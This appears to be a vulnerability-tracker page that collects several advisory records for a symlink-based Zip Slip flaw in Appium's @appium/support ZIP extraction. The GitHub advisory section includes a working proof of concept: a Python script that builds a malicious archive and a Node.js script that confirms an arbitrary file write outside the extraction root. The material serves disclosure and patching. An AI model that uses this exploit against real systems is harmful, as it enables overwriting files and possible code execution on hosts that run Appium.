Appium: Symlink based Zip Slip in @appium/support ZIP extraction

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.

Source published

14 Oct 2026 18:10:26 UTC

Source modified

15 Oct 2026 15:05:50 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.

Source published

Oct 14, 2026, 6:10:26 PM (timezone not stated)

Source modified

Oct 15, 2026, 3:05:50 PM (timezone not stated)

Observed here

9 Nov 2026 05:04:17 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.

Source published

14 Oct 2026 18:17:21 UTC

Source modified

16 Oct 2026 16:00:33 UTC

Observed here

25 Oct 2026 04:17:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

### Summary CVE-2026-30973 [(GHSA-rfx7-4xw3-gh4m)](https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like `../evil.txt` was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names. This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example `pwn` and `pwn/owned.txt`, no `..` anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root. The two issues compared on the same patched version 7.2.5: | | CVE-2026-30973 | This finding | |---|---|---| | Vector | one entry whose name contains `..` | a symlink entry plus a file written through it | | Entry names | contain `..` (illegal) | legitimate, no `..` and not absolute | | What is missing | the `..` name chec\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked | | Entries needed | one | two | | Fixed in 7.0.6 | yes | no | | Status on 7.2.5 | blocked | still exploitable (proven below) | ### Details ## Root cause The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive: ```js // @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5 97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks 98 throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`); 99 } ... 142 await fs.symlink(link, dest); // link target comes verbatim from the archive ``` `isSubPath` compares normalized strings and does not call realpath, so for the file entry `pwn/owned.txt` the destination `dir/pwn/owned.txt` is lexically inside `dir` and the check passes, even though `dir/pwn` is a symlink created by the previous entry that points outside `dir`. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root. ### PoC <img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" /> build_zips.py ```python #!/usr/bin/env python3 import os, sys, zipfile, shutil work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork" pid = os.getpid() shutil.rmtree(work, ignore_errors=True) os.makedirs(work) # Test A: CVE-2026-30973 plain "../" path traversal in the entry name extractA = os.path.join(work, "extractA"); os.makedirs(extractA) escapeA_name = f"escapeA_{pid}.txt" # would land in work/ (outside extractA) escapeA = os.path.join(work, escapeA_name) zipA = os.path.join(work, "cve_vector.zip") with zipfile.ZipFile(zipA, "w") as z: z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n") # Test B: symlink entry whose target escapes, then a file through it extractB = os.path.join(work, "extractB"); os.makedirs(extractB) escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB) zipB = os.path.join(work, "symlink_bypass.zip") with zipfile.ZipFile(zipB, "w") as z: sl = zipfile.ZipInfo("pwn") sl.create_system = 3 # unix, so external_attr carries the mode sl.external_attr = (0o120777 & 0xFFFF) << 16 # S_IFLNK | 0777 z.writestr(sl, escapeB) # symlink target is the file body fi = zipfile.ZipInfo("pwn/owned.txt") fi.create_system = 3 fi.external_attr = (0o100644 & 0xFFFF) << 16 z.writestr(fi, "PWNED via symlink Zip Slip\n") print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB])) ``` zipslip_poc.js ```javascript 'use strict'; const fs = require('fs'); const path = require('path'); const support = require('@appium/support'); const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv; (async () => { const ver = require('@appium/support/package.json').version; console.log(`[*] @appium/support version: ${ver}`); console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`); // Test A: the CVE-2026-30973 vector console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ==='); let aBlocked = false; try { await support.zip.extractAllTo(zipA, extractA); } catch (e) { aBlocked = true; console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`); } const aEscaped = fs.existsSync(escapeA); console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`); // Test B: this finding, the symlink bypass console.log('\n=== Test B: symlink entry + file written through it (this finding) ==='); try { await support.zip.extractAllTo(zipB, extractB); } catch (e) { console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`); } const planted = path.join(escapeB, 'owned.txt'); const bEscaped = fs.existsSync(planted); if (bEscaped) { console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED'); console.log(` wrote : ${planted}`); console.log(` content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`); } else { console.log('[-] symlink vector did not escape'); } console.log('\n=== SUMMARY (same installed version) ==='); console.log(`A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`); console.log(`B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`); process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2); })().catch((e) => { console.error('ERROR', e); process.exit(3); }); use ``` ### Impact An attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.

Source published

15 Oct 2026 20:18:56 UTC

Source modified

15 Oct 2026 20:30:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Publisher rating · MODERATE